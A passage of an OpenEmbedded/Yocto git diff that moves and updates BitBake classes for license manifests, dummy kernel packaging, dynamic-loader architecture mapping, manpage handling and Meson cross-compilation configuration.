+ d.setVarFlag("oe_runmake", "progress", r"outof:Progress\s(\d+)/(\d+)")
bb.note("Executing binary locale generation makefile")
bb.build.exec_func("oe_runmake", d)
bb.note("collecting binary locales from locale tree")
@@ -379,6 +387,6 @@ python package_do_split_gconvs () {
# We want to do this indirection so that we can safely 'return'
# from the called function even though we're prepending
-python populate_packages_prepend () {
+python populate_packages:prepend () {
bb.build.exec_func('package_do_split_gconvs', d)
}
diff --git a/meta/classes-recipe/license_image.bbclass b/meta/classes-recipe/license_image.bbclass
new file mode 100644
index 0000000000..19b3dc55ba
--- /dev/null
+++ b/meta/classes-recipe/license_image.bbclass
@@ -0,0 +1,317 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+ROOTFS_LICENSE_DIR = "${IMAGE_ROOTFS}/usr/share/common-licenses"
+
+# This requires LICENSE_CREATE_PACKAGE=1 to work too
+COMPLEMENTARY_GLOB[lic-pkgs] = "*-lic"
+
+python() {
+ if not oe.data.typed_value('LICENSE_CREATE_PACKAGE', d):
+ features = set(oe.data.typed_value('IMAGE_FEATURES', d))
+ if 'lic-pkgs' in features:
+ bb.error("'lic-pkgs' in IMAGE_FEATURES but LICENSE_CREATE_PACKAGE not enabled to generate -lic packages")
+}
+
+python write_package_manifest() {
+ # Get list of installed packages
+ license_image_dir = d.expand('${LICENSE_DIRECTORY}/${SSTATE_PKGARCH}/${IMAGE_NAME}')
+ bb.utils.mkdirhier(license_image_dir)
+ from oe.rootfs import image_list_installed_packages
+ from oe.utils import format_pkg_list
+
+ pkgs = image_list_installed_packages(d)
+ output = format_pkg_list(pkgs)
+ with open(os.path.join(license_image_dir, 'package.manifest'), "w+") as package_manifest:
+ package_manifest.write(output)
+}
+
+python license_create_manifest() {
+ import oe.packagedata
+ from oe.rootfs import image_list_installed_packages
+
+ build_images_from_feeds = d.getVar('BUILD_IMAGES_FROM_FEEDS')
+ if build_images_from_feeds == "1":
+ return 0
+
+ pkg_dic = {}
+ for pkg in sorted(image_list_installed_packages(d)):
+ pkg_info = os.path.join(d.getVar('PKGDATA_DIR'),
+ 'runtime-reverse', pkg)
+ pkg_name = os.path.basename(os.readlink(pkg_info))
+
+ pkg_dic[pkg_name] = oe.packagedata.read_pkgdatafile(pkg_info)
+ if not "LICENSE" in pkg_dic[pkg_name].keys():
+ pkg_lic_name = "LICENSE:" + pkg_name
+ pkg_dic[pkg_name]["LICENSE"] = pkg_dic[pkg_name][pkg_lic_name]
+
+ rootfs_license_manifest = os.path.join(d.getVar('LICENSE_DIRECTORY'),
+ d.getVar('SSTATE_PKGARCH'), d.getVar('IMAGE_NAME'), 'license.manifest')
+ write_license_files(d, rootfs_license_manifest, pkg_dic, rootfs=True)
+}
+
+def write_license_files(d, license_manifest, pkg_dic, rootfs=True):
+ import re
+ import stat
+
+ bad_licenses = (d.getVar("INCOMPATIBLE_LICENSE") or "").split()
+ bad_licenses = expand_wildcard_licenses(d, bad_licenses)
+ pkgarchs = d.getVar("SSTATE_ARCHS").split()
+ pkgarchs.reverse()
+
+ exceptions = (d.getVar("INCOMPATIBLE_LICENSE_EXCEPTIONS") or "").split()
+ with open(license_manifest, "w") as license_file:
+ for pkg in sorted(pkg_dic):
+ remaining_bad_licenses = oe.license.apply_pkg_license_exception(pkg, bad_licenses, exceptions)
+ incompatible_licenses = incompatible_pkg_license(d, remaining_bad_licenses, pkg_dic[pkg]["LICENSE"])
+ if incompatible_licenses:
+ bb.fatal("Package %s cannot be installed into the image because it has incompatible license(s): %s" %(pkg, ' '.join(incompatible_licenses)))
+ else:
+ incompatible_licenses = incompatible_pkg_license(d, bad_licenses, pkg_dic[pkg]["LICENSE"])
+ if incompatible_licenses:
+ oe.qa.handle_error('license-incompatible', "Including %s with incompatible license(s) %s into the image, because it has been allowed by exception list." %(pkg, ' '.join(incompatible_licenses)), d)
+ try:
+ (pkg_dic[pkg]["LICENSE"], pkg_dic[pkg]["LICENSES"]) = \
+ oe.license.manifest_licenses(pkg_dic[pkg]["LICENSE"],
+ remaining_bad_licenses, canonical_license, d)
+ except oe.license.LicenseError as exc:
+ bb.fatal('%s: %s' % (d.getVar('P'), exc))
+
+ if not "IMAGE_MANIFEST" in pkg_dic[pkg]:
+ # Rootfs manifest
+ license_file.write("PACKAGE NAME: %s\n" % pkg)
+ license_file.write("PACKAGE VERSION: %s\n" % pkg_dic[pkg]["PV"])
+ license_file.write("RECIPE NAME: %s\n" % pkg_dic[pkg]["PN"])
+ license_file.write("LICENSE: %s\n\n" % pkg_dic[pkg]["LICENSE"])
+
+ # If the package doesn't contain any file, that is, its size is 0, the license
+ # isn't relevant as far as the final image is concerned. So doing license check
+ # doesn't make much sense, skip it.
+ if pkg_dic[pkg]["PKGSIZE:%s" % pkg] == "0":
+ continue
+ else:
+ # Image manifest
+ license_file.write("RECIPE NAME: %s\n" % pkg_dic[pkg]["PN"])
+ license_file.write("VERSION: %s\n" % pkg_dic[pkg]["PV"])
+ license_file.write("LICENSE: %s\n" % pkg_dic[pkg]["LICENSE"])
+ license_file.write("FILES: %s\n\n" % pkg_dic[pkg]["FILES"])
+
+ for lic in pkg_dic[pkg]["LICENSES"]:
+ for pkgarch in pkgarchs:
+ lic_file = os.path.join(d.getVar('LICENSE_DIRECTORY'),
+ pkgarch,
+ pkg_dic[pkg]["PN"], "generic_%s" %
+ re.sub(r'\+', '', lic))
+ if os.path.exists(lic_file):
+ break
+ # add explicity avoid of CLOSED license because isn't generic
+ if lic == "CLOSED":
+ continue
+
+ if not os.path.exists(lic_file):
+ oe.qa.handle_error('license-file-missing',
+ "The license listed %s was not in the "\
+ "licenses collected for recipe %s"
+ % (lic, pkg_dic[pkg]["PN"]), d)
+ oe.qa.exit_if_errors(d)
+
+ # Two options here:
+ # - Just copy the manifest
+ # - Copy the manifest and the license directories
+ # With both options set we see a .5 M increase in core-image-minimal
+ copy_lic_manifest = d.getVar('COPY_LIC_MANIFEST')
+ copy_lic_dirs = d.getVar('COPY_LIC_DIRS')
+ if rootfs and copy_lic_manifest == "1":
+ rootfs_license_dir = d.getVar('ROOTFS_LICENSE_DIR')
+ bb.utils.mkdirhier(rootfs_license_dir)
+ rootfs_license_manifest = os.path.join(rootfs_license_dir,
+ os.path.split(license_manifest)[1])
+ if not os.path.exists(rootfs_license_manifest):
+ oe.path.copyhardlink(license_manifest, rootfs_license_manifest)
+
+ if copy_lic_dirs == "1":
+ for pkg in sorted(pkg_dic):
+ pkg_rootfs_license_dir = os.path.join(rootfs_license_dir, pkg)
+ bb.utils.mkdirhier(pkg_rootfs_license_dir)
+ for pkgarch in pkgarchs:
+ pkg_license_dir = os.path.join(d.getVar('LICENSE_DIRECTORY'),
+ pkgarch, pkg_dic[pkg]["PN"])
+ if os.path.exists(pkg_license_dir):
+ break
+ if not os.path.exists(pkg_license_dir ):
+ bb.fatal("Couldn't find license information for dependency %s" % pkg)
+
+ pkg_manifest_licenses = [canonical_license(d, lic) \
+ for lic in pkg_dic[pkg]["LICENSES"]]
+
+ licenses = os.listdir(pkg_license_dir)
+ for lic in licenses:
+ pkg_license = os.path.join(pkg_license_dir, lic)
+ pkg_rootfs_license = os.path.join(pkg_rootfs_license_dir, lic)
+
+ if re.match(r"^generic_.*$", lic):
+ generic_lic = canonical_license(d,
+ re.search(r"^generic_(.*)$", lic).group(1))
+
+ # Do not copy generic license into package if isn't
+ # declared into LICENSES of the package.
+ if not re.sub(r'\+$', '', generic_lic) in \
+ [re.sub(r'\+', '', lic) for lic in \
+ pkg_manifest_licenses]:
+ continue
+
+ if oe.license.license_ok(generic_lic,
+ bad_licenses) == False:
+ continue
+
+ # Make sure we use only canonical name for the license file
+ generic_lic_file = "generic_%s" % generic_lic
+ rootfs_license = os.path.join(rootfs_license_dir, generic_lic_file)
+ if not os.path.exists(rootfs_license):
+ oe.path.copyhardlink(pkg_license, rootfs_license)
+
+ if not os.path.exists(pkg_rootfs_license):
+ os.symlink(os.path.join('..', generic_lic_file), pkg_rootfs_license)
+ else:
+ if (oe.license.license_ok(canonical_license(d,
+ lic), bad_licenses) == False or
+ os.path.exists(pkg_rootfs_license)):
+ continue
+
+ oe.path.copyhardlink(pkg_license, pkg_rootfs_license)
+ # Fixup file ownership and permissions
+ for walkroot, dirs, files in os.walk(rootfs_license_dir):
+ for f in files:
+ p = os.path.join(walkroot, f)
+ os.lchown(p, 0, 0)
+ if not os.path.islink(p):
+ os.chmod(p, stat.S_IRUSR | stat.S_IWUSR | stat.S_IRGRP | stat.S_IROTH)
+ for dir in dirs:
+ p = os.path.join(walkroot, dir)
+ os.lchown(p, 0, 0)
+ os.chmod(p, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH)
+
+write_license_files[vardepsexclude] = "SSTATE_ARCHS"
+
+def license_deployed_manifest(d):
+ """
+ Write the license manifest for the deployed recipes.
+ The deployed recipes usually includes the bootloader
+ and extra files to boot the target.
+ """
+
+ dep_dic = {}
+ man_dic = {}
+ lic_dir = d.getVar("LICENSE_DIRECTORY")
+ pkgarchs = d.getVar("SSTATE_ARCHS").split()
+ pkgarchs.reverse()
+
+ dep_dic = get_deployed_dependencies(d)
+ for dep in dep_dic.keys():
+ man_dic[dep] = {}
+ # It is necessary to mark this will be used for image manifest
+ man_dic[dep]["IMAGE_MANIFEST"] = True
+ man_dic[dep]["PN"] = dep
+ man_dic[dep]["FILES"] = \
+ " ".join(get_deployed_files(dep_dic[dep]))
+
+ for pkgarch in pkgarchs:
+ licfile = os.path.join(lic_dir, pkgarch, dep, "recipeinfo")
+ if os.path.exists(licfile):
+ break
+ if not os.path.exists(licfile):
+ bb.fatal("Couldn't find license information for dependency %s" % dep)
+ with open(licfile, "r") as f:
+ for line in f.readlines():
+ key,val = line.split(": ", 1)
+ man_dic[dep][key] = val[:-1]
+
+ lic_manifest_dir = os.path.join(d.getVar('LICENSE_DIRECTORY'), d.getVar('SSTATE_PKGARCH'),
+ d.getVar('IMAGE_NAME'))
+ bb.utils.mkdirhier(lic_manifest_dir)
+ image_license_manifest = os.path.join(lic_manifest_dir, 'image_license.manifest')
+ write_license_files(d, image_license_manifest, man_dic, rootfs=False)
+
+ link_name = d.getVar('IMAGE_LINK_NAME')
+ if link_name:
+ lic_manifest_symlink_dir = os.path.join(d.getVar('LICENSE_DIRECTORY'), d.getVar('SSTATE_PKGARCH'),
+ link_name)
+ # remove old symlink
+ if os.path.islink(lic_manifest_symlink_dir):
+ os.unlink(lic_manifest_symlink_dir)
+
+ # create the image dir symlink
+ if lic_manifest_dir != lic_manifest_symlink_dir:
+ os.symlink(lic_manifest_dir, lic_manifest_symlink_dir)
+
+license_deployed_manifest[vardepsexclude] = "SSTATE_ARCHS"
+
+def get_deployed_dependencies(d):
+ """
+ Get all the deployed dependencies of an image
+ """
+
+ deploy = {}
+ # Get all the dependencies for the current task (rootfs).
+ taskdata = d.getVar("BB_TASKDEPDATA", False)
+ pn = d.getVar("PN")
+ depends = list(set([dep[0] for dep
+ in list(taskdata.values())
+ if not dep[0].endswith("-native") and not dep[0] == pn]))
+
+ # To verify what was deployed it checks the rootfs dependencies against
+ # the SSTATE_MANIFESTS for "deploy" task.
+ # The manifest file name contains the arch. Because we are not running
+ # in the recipe context it is necessary to check every arch used.
+ sstate_manifest_dir = d.getVar("SSTATE_MANIFESTS")
+ archs = list(set(d.getVar("SSTATE_ARCHS").split()))
+ for dep in depends:
+ for arch in archs:
+ sstate_manifest_file = os.path.join(sstate_manifest_dir,
+ "manifest-%s-%s.deploy" % (arch, dep))
+ if os.path.exists(sstate_manifest_file):
+ deploy[dep] = sstate_manifest_file
+ break
+
+ return deploy
+get_deployed_dependencies[vardepsexclude] = "BB_TASKDEPDATA SSTATE_ARCHS"
+
+def get_deployed_files(man_file):
+ """
+ Get the files deployed from the sstate manifest
+ """
+
+ dep_files = []
+ excluded_files = []
+ with open(man_file, "r") as manifest:
+ all_files = manifest.read()
+ for f in all_files.splitlines():
+ if ((not (os.path.islink(f) or os.path.isdir(f))) and
+ not os.path.basename(f) in excluded_files):
+ dep_files.append(os.path.basename(f))
+ return dep_files
+
+ROOTFS_POSTPROCESS_COMMAND:prepend = "write_package_manifest license_create_manifest "
+do_rootfs[recrdeptask] += "do_populate_lic"
+
+python do_populate_lic_deploy() {
+ license_deployed_manifest(d)
+ oe.qa.exit_if_errors(d)
+}
+
+addtask populate_lic_deploy before do_build after do_image_complete
+do_populate_lic_deploy[recrdeptask] += "do_populate_lic do_deploy"
+
+python license_qa_dead_symlink() {
+ import os
+
+ for root, dirs, files in os.walk(d.getVar('ROOTFS_LICENSE_DIR')):
+ for file in files:
+ full_path = root + "/" + file
+ if os.path.islink(full_path) and not os.path.exists(full_path):
+ bb.error("broken symlink: " + full_path)
+}
+IMAGE_QA_COMMANDS += "license_qa_dead_symlink"
diff --git a/meta/classes-recipe/linux-dummy.bbclass b/meta/classes-recipe/linux-dummy.bbclass
new file mode 100644
index 0000000000..9291533cf9
--- /dev/null
+++ b/meta/classes-recipe/linux-dummy.bbclass
@@ -0,0 +1,31 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+python __anonymous () {
+ if d.getVar('PREFERRED_PROVIDER_virtual/kernel') == 'linux-dummy':
+ # copy part codes from kernel.bbclass
+ kname = d.getVar('KERNEL_PACKAGE_NAME') or "kernel"
+
+ # set an empty package of kernel-devicetree
+ d.appendVar('PACKAGES', ' %s-devicetree' % kname)
+ d.setVar('ALLOW_EMPTY:%s-devicetree' % kname, '1')
+
+ # Merge KERNEL_IMAGETYPE and KERNEL_ALT_IMAGETYPE into KERNEL_IMAGETYPES
+ type = d.getVar('KERNEL_IMAGETYPE') or ""
+ alttype = d.getVar('KERNEL_ALT_IMAGETYPE') or ""
+ types = d.getVar('KERNEL_IMAGETYPES') or ""
+ if type not in types.split():
+ types = (type + ' ' + types).strip()
+ if alttype not in types.split():
+ types = (alttype + ' ' + types).strip()
+
+ # set empty packages of kernel-image-*
+ for type in types.split():
+ typelower = type.lower()
+ d.appendVar('PACKAGES', ' %s-image-%s' % (kname, typelower))
+ d.setVar('ALLOW_EMPTY:%s-image-%s' % (kname, typelower), '1')
+}
+
diff --git a/meta/classes-recipe/linux-kernel-base.bbclass b/meta/classes-recipe/linux-kernel-base.bbclass
new file mode 100644
index 0000000000..e2187a73f0
--- /dev/null
+++ b/meta/classes-recipe/linux-kernel-base.bbclass
@@ -0,0 +1,62 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# parse kernel ABI version out of <linux/version.h>
+def get_kernelversion_headers(p):
+ import re
+
+ fn = p + '/include/linux/utsrelease.h'
+ if not os.path.isfile(fn):
+ # after 2.6.33-rc1
+ fn = p + '/include/generated/utsrelease.h'
+ if not os.path.isfile(fn):
+ fn = p + '/include/linux/version.h'
+
+ try:
+ f = open(fn, 'r')
+ except IOError:
+ return None
+
+ l = f.readlines()
+ f.close()
+ r = re.compile("#define UTS_RELEASE \"(.*)\"")
+ for s in l:
+ m = r.match(s)
+ if m:
+ return m.group(1)
+ return None
+
+
+def get_kernelversion_file(p):
+ fn = p + '/kernel-abiversion'
+
+ try:
+ with open(fn, 'r') as f:
+ return f.readlines()[0].strip()
+ except IOError:
+ return None
+
+def get_kernellocalversion_file(p):
+ fn = p + '/kernel-localversion'
+
+ try:
+ with open(fn, 'r') as f:
+ return f.readlines()[0].strip()
+ except IOError:
+ return ""
+
+ return ""
+
+def linux_module_packages(s, d):
+ suffix = ""
+ return " ".join(map(lambda s: "kernel-module-%s%s" % (s.lower().replace('_', '-').replace('@', '+'), suffix), s.split()))
+
+export KBUILD_BUILD_VERSION = "1"
+export KBUILD_BUILD_USER ?= "oe-user"
+export KBUILD_BUILD_HOST ?= "oe-host"
+
+# that's all
+
diff --git a/meta/classes/linuxloader.bbclass b/meta/classes-recipe/linuxloader.bbclass
index ec0e0556dd..2ea1b62254 100644
--- a/meta/classes/linuxloader.bbclass
+++ b/meta/classes-recipe/linuxloader.bbclass
@@ -1,16 +1,22 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
def get_musl_loader_arch(d):
import re
- ldso_arch = None
+ ldso_arch = "NotSupported"
targetarch = d.getVar("TARGET_ARCH")
if targetarch.startswith("microblaze"):
- ldso_arch = "microblaze${@bb.utils.contains('TUNE_FEATURES', 'bigendian', '', 'el' ,d)}"
+ ldso_arch = "microblaze${@bb.utils.contains('TUNE_FEATURES', 'bigendian', '', 'el', d)}"
elif targetarch.startswith("mips"):
ldso_arch = "mips${ABIEXTENSION}${MIPSPKGSFX_BYTE}${MIPSPKGSFX_R6}${MIPSPKGSFX_ENDIAN}${@['', '-sf'][d.getVar('TARGET_FPU') == 'soft']}"
elif targetarch == "powerpc":
ldso_arch = "powerpc${@['', '-sf'][d.getVar('TARGET_FPU') == 'soft']}"
- elif targetarch == "powerpc64":
- ldso_arch = "powerpc64"
+ elif targetarch.startswith("powerpc64"):
+ ldso_arch = "powerpc64${@bb.utils.contains('TUNE_FEATURES', 'bigendian', '', 'le', d)}"
elif targetarch == "x86_64":
ldso_arch = "x86_64"
elif re.search("i.86", targetarch):
@@ -21,6 +27,8 @@ def get_musl_loader_arch(d):
ldso_arch = "aarch64${ARMPKGSFX_ENDIAN_64}"
elif targetarch.startswith("riscv64"):
ldso_arch = "riscv64${@['', '-sf'][d.getVar('TARGET_FPU') == 'soft']}"
+ elif targetarch.startswith("riscv32"):
+ ldso_arch = "riscv32${@['', '-sf'][d.getVar('TARGET_FPU') == 'soft']}"
return ldso_arch
def get_musl_loader(d):
@@ -30,7 +38,7 @@ def get_musl_loader(d):
def get_glibc_loader(d):
import re
- dynamic_loader = None
+ dynamic_loader = "NotSupported"
targetarch = d.getVar("TARGET_ARCH")
if targetarch in ["powerpc", "microblaze"]:
dynamic_loader = "${base_libdir}/ld.so.1"
@@ -38,6 +46,10 @@ def get_glibc_loader(d):
dynamic_loader = "${base_libdir}/ld-linux-mipsn8.so.1"
elif targetarch.startswith("mips"):
dynamic_loader = "${base_libdir}/ld.so.1"
+ elif targetarch.startswith("loongarch64"):
+ dynamic_loader = "${base_libdir}/ld-linux-loongarch-lp64d.so.1"
+ elif targetarch == "powerpc64le":
+ dynamic_loader = "${base_libdir}/ld64.so.2"
elif targetarch == "powerpc64":
dynamic_loader = "${base_libdir}/ld64.so.1"
elif targetarch == "x86_64":
@@ -50,13 +62,15 @@ def get_glibc_loader(d):
dynamic_loader = "${base_libdir}/ld-linux-aarch64${ARMPKGSFX_ENDIAN_64}.so.1"
elif targetarch.startswith("riscv64"):
dynamic_loader = "${base_libdir}/ld-linux-riscv64-lp64${@['d', ''][d.getVar('TARGET_FPU') == 'soft']}.so.1"
+ elif targetarch.startswith("riscv32"):
+ dynamic_loader = "${base_libdir}/ld-linux-riscv32-ilp32${@['d', ''][d.getVar('TARGET_FPU') == 'soft']}.so.1"
return dynamic_loader
def get_linuxloader(d):
overrides = d.getVar("OVERRIDES").split(":")
if "libc-baremetal" in overrides:
- return None
+ return "NotSupported"
if "libc-musl" in overrides:
dynamic_loader = get_musl_loader(d)
diff --git a/meta/classes/live-vm-common.bbclass b/meta/classes-recipe/live-vm-common.bbclass
index 74e7074a53..d90cc67ebc 100644
--- a/meta/classes/live-vm-common.bbclass
+++ b/meta/classes-recipe/live-vm-common.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Some of the vars for vm and live image are conflicted, this function
# is used for fixing the problem.
def set_live_vm_vars(d, suffix):
@@ -62,8 +68,8 @@ efi_hddimg_populate() {
efi_populate $1
}
-inherit ${EFI_CLASS}
-inherit ${PCBIOS_CLASS}
+inherit_defer ${EFI_CLASS}
+inherit_defer ${PCBIOS_CLASS}
populate_kernel() {
dest=$1
diff --git a/meta/classes-recipe/manpages.bbclass b/meta/classes-recipe/manpages.bbclass
new file mode 100644
index 0000000000..e9ca2f895b
--- /dev/null
+++ b/meta/classes-recipe/manpages.bbclass
@@ -0,0 +1,41 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Inherit this class to enable or disable building and installation of manpages
+# depending on whether 'api-documentation' is in DISTRO_FEATURES. Such building
+# tends to pull in the entire XML stack and other tools, so it's not enabled
+# by default.
+PACKAGECONFIG:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'manpages', '', d)}"
+
+inherit qemu
+
+# usually manual files are packaged to ${PN}-doc except man-pages
+MAN_PKG ?= "${PN}-doc"
+
+# only add man-db to RDEPENDS when manual files are built and installed
+RDEPENDS:${MAN_PKG} += "${@bb.utils.contains('PACKAGECONFIG', 'manpages', 'man-db', '', d)}"
+
+pkg_postinst:${MAN_PKG}:append () {
+ # only update manual page index caches when manual files are built and installed
+ if ${@bb.utils.contains('PACKAGECONFIG', 'manpages', 'true', 'false', d)}; then
+ if test -n "$D"; then
+ if ${@bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'true', 'false', d)}; then
+ $INTERCEPT_DIR/postinst_intercept update_mandb ${PKG} mlprefix=${MLPREFIX} binprefix=${MLPREFIX} bindir=${bindir} sysconfdir=${sysconfdir} mandir=${mandir}
+ else
+ $INTERCEPT_DIR/postinst_intercept delay_to_first_boot ${PKG} mlprefix=${MLPREFIX}
+ fi
+ else
+ mandb -q
+ fi
+ fi
+}
+
+pkg_postrm:${MAN_PKG}:append () {
+ # only update manual page index caches when manual files are built and installed
+ if ${@bb.utils.contains('PACKAGECONFIG', 'manpages', 'true', 'false', d)}; then
+ mandb -q
+ fi
+}
diff --git a/meta/classes-recipe/meson-routines.bbclass b/meta/classes-recipe/meson-routines.bbclass
new file mode 100644
index 0000000000..a944a8fff1
--- /dev/null
+++ b/meta/classes-recipe/meson-routines.bbclass
@@ -0,0 +1,59 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit siteinfo
+
+def meson_array(var, d):
+ items = d.getVar(var).split()
+ return repr(items[0] if len(items) == 1 else items)
+
+# Map our ARCH values to what Meson expects:
+# http://mesonbuild.com/Reference-tables.html#cpu-families
+def meson_cpu_family(var, d):
+ import re
+ arch = d.getVar(var)
+ if arch == 'powerpc':
+ return 'ppc'
+ elif arch == 'powerpc64' or arch == 'powerpc64le':
+ return 'ppc64'
+ elif arch == 'armeb':
+ return 'arm'
+ elif arch == 'aarch64_be':
+ return 'aarch64'
+ elif arch == 'loongarch64':
+ return 'loongarch64'
+ elif arch == 'mipsel':
+ return 'mips'
+ elif arch == 'mips64el':
+ return 'mips64'
+ elif re.match(r"i[3-6]86", arch):
+ return "x86"
+ elif arch == "microblazeel":
+ return "microblaze"
+ else:
+ return arch
+
+# Map our OS values to what Meson expects:
+# https://mesonbuild.com/Reference-tables.html#operating-system-names
+def meson_operating_system(var, d):
+ os = d.getVar(var)
+ if "mingw" in os:
+ return "windows"
+ # avoid e.g 'linux-gnueabi'
+ elif "linux" in os:
+ return "linux"
+ else:
+ return os
+
+def meson_endian(prefix, d):
+ arch, os = d.getVar(prefix + "_ARCH"), d.getVar(prefix + "_OS")
+ sitedata = siteinfo_data_for_machine(arch, os, d)
+ if "endian-little" in sitedata:
+ return "little"
+ elif "endian-big" in sitedata:
+ return "big"
+ else:
+ bb.fatal("Cannot determine endianism for %s-%s" % (arch, os))
diff --git a/meta/classes-recipe/meson.bbclass b/meta/classes-recipe/meson.bbclass
new file mode 100644
index 0000000000..03fa2c06eb
--- /dev/null
+++ b/meta/classes-recipe/meson.bbclass
@@ -0,0 +1,181 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit python3native meson-routines qemu
+
+DEPENDS:append = " meson-native ninja-native"
+
+EXEWRAPPER_ENABLED:class-native = "False"
+EXEWRAPPER_ENABLED:class-nativesdk = "False"
+EXEWRAPPER_ENABLED ?= "${@bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'True', 'False', d)}"
+DEPENDS:append = "${@' qemu-native' if d.getVar('EXEWRAPPER_ENABLED') == 'True' else ''}"
+
+# As Meson enforces out-of-tree builds we can just use cleandirs
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
+
+# Where the meson.build build configuration is
+MESON_SOURCEPATH = "${S}"
+
+# The target to build in do_compile. If unset the default targets are built.
+MESON_TARGET ?= ""
+
+def noprefix(var, d):
+ return d.getVar(var).replace(d.getVar('prefix') + '/', '', 1)
+
+MESON_BUILDTYPE ?= "${@oe.utils.vartrue('DEBUG_BUILD', 'debug', 'plain', d)}"
+MESON_BUILDTYPE[vardeps] += "DEBUG_BUILD"
+MESONOPTS = " --prefix ${prefix} \
+ --buildtype ${MESON_BUILDTYPE} \
+ --bindir ${@noprefix('bindir', d)} \
+ --sbindir ${@noprefix('sbindir', d)} \
+ --datadir ${@noprefix('datadir', d)} \
+ --libdir ${@noprefix('libdir', d)} \
+ --libexecdir ${@noprefix('libexecdir', d)} \
+ --includedir ${@noprefix('includedir', d)} \
+ --mandir ${@noprefix('mandir', d)} \
+ --infodir ${@noprefix('infodir', d)} \
+ --sysconfdir ${sysconfdir} \
+ --localstatedir ${localstatedir} \
+ --sharedstatedir ${sharedstatedir} \
+ --wrap-mode nodownload \
+ --native-file ${WORKDIR}/meson.native"
+
+EXTRA_OEMESON:append = " ${PACKAGECONFIG_CONFARGS}"
+
+MESON_CROSS_FILE = ""
+MESON_CROSS_FILE:class-target = "--cross-file ${WORKDIR}/meson.cross"
+MESON_CROSS_FILE:class-nativesdk = "--cross-file ${WORKDIR}/meson.cross"
+
+# Needed to set up qemu wrapper below
+export STAGING_DIR_HOST
+
+def rust_tool(d, target_var):
+ rustc = d.getVar('RUSTC')
+ if not rustc:
+ return ""
+ cmd = [rustc, "--target", d.getVar(target_var)] + d.getVar("RUSTFLAGS").split()
+ return "rust = %s" % repr(cmd)
+
+addtask write_config before do_configure
+do_write_config[vardeps] += "CC CXX AR NM STRIP READELF OBJCOPY CFLAGS CXXFLAGS LDFLAGS RUSTC RUSTFLAGS EXEWRAPPER_ENABLED"
+do_write_config() {
+ # This needs to be Py to split the args into single-element lists
+ cat >${WORKDIR}/meson.cross <<EOF
+[binaries]
+c = ${@meson_array('CC', d)}
+cpp = ${@meson_array('CXX', d)}
+cython = 'cython3'
+ar = ${@meson_array('AR', d)}
+nm = ${@meson_array('NM', d)}
+strip = ${@meson_array('STRIP', d)}
+readelf = ${@meson_array('READELF', d)}
+objcopy = ${@meson_array('OBJCOPY', d)}
+pkg-config = 'pkg-config'
+llvm-config = 'llvm-config'
+cups-config = 'cups-config'
+g-ir-scanner = '${STAGING_BINDIR}/g-ir-scanner-wrapper'
+g-ir-compiler = '${STAGING_BINDIR}/g-ir-compiler-wrapper'
+${@rust_tool(d, "RUST_HOST_SYS")}
+${@"exe_wrapper = '${WORKDIR}/meson-qemuwrapper'" if d.getVar('EXEWRAPPER_ENABLED') == 'True' else ""}
+
+[built-in options]
+c_args = ${@meson_array('CFLAGS', d)}
+c_link_args = ${@meson_array('LDFLAGS', d)}
+cpp_args = ${@meson_array('CXXFLAGS', d)}
+cpp_link_args = ${@meson_array('LDFLAGS', d)}
+
+[properties]
+needs_exe_wrapper = true
+sys_root = '${STAGING_DIR_HOST}'
+
+[host_machine]
+system = '${@meson_operating_system('HOST_OS', d)}'
+cpu_family = '${@meson_cpu_family('HOST_ARCH', d)}'
+cpu = '${HOST_ARCH}'
+endian = '${@meson_endian('HOST', d)}'
+
+[target_machine]
+system = '${@meson_operating_system('TARGET_OS', d)}'
+cpu_family = '${@meson_cpu_family('TARGET_ARCH', d)}'
+cpu = '${TARGET_ARCH}'
+endian = '${@meson_endian('TARGET', d)}'
+EOF
+
+ cat >${WORKDIR}/meson.native <<EOF
+[binaries]
+c = ${@meson_array('BUILD_CC', d)}
+cpp = ${@meson_array('BUILD_CXX', d)}
+cython = 'cython3'
+ar = ${@meson_array('BUILD_AR', d)}
+nm = ${@meson_array('BUILD_NM', d)}
+strip = ${@meson_array('BUILD_STRIP', d)}
+readelf = ${@meson_array('BUILD_READELF', d)}
+objcopy = ${@meson_array('BUILD_OBJCOPY', d)}
+llvm-config = '${STAGING_BINDIR_NATIVE}/llvm-config'
+pkg-config = 'pkg-config-native'
+${@rust_tool(d, "RUST_BUILD_SYS")}
+
+[built-in options]
+c_args = ${@meson_array('BUILD_CFLAGS', d)}
+c_link_args = ${@meson_array('BUILD_LDFLAGS', d)}
+cpp_args = ${@meson_array('BUILD_CXXFLAGS', d)}
+cpp_link_args = ${@meson_array('BUILD_LDFLAGS', d)}
+EOF
+}
+
+do_write_config:append:class-target() {
+ # Write out a qemu wrapper that will be used as exe_wrapper so that meson
+ # can run target helper binaries through that.
+ qemu_binary="${@qemu_wrapper_cmdline(d, '$STAGING_DIR_HOST', ['$STAGING_DIR_HOST/${libdir}','$STAGING_DIR_HOST/${base_libdir}'])}"
+ cat > ${WORKDIR}/meson-qemuwrapper << EOF
+#!/bin/sh
+# Use a modules directory which doesn't exist so we don't load random things
+# which may then get deleted (or their dependencies) and potentially segfault
+export GIO_MODULE_DIR=${STAGING_LIBDIR}/gio/modules-dummy
+
+# meson sets this wrongly (only to libs in build-dir), qemu_wrapper_cmdline() and GIR_EXTRA_LIBS_PATH take care of it properly
+unset LD_LIBRARY_PATH
+
+$qemu_binary "\$@"
+EOF
+ chmod +x ${WORKDIR}/meson-qemuwrapper
+}
+
+# Tell externalsrc that changes to this file require a reconfigure
+CONFIGURE_FILES = "meson.build"
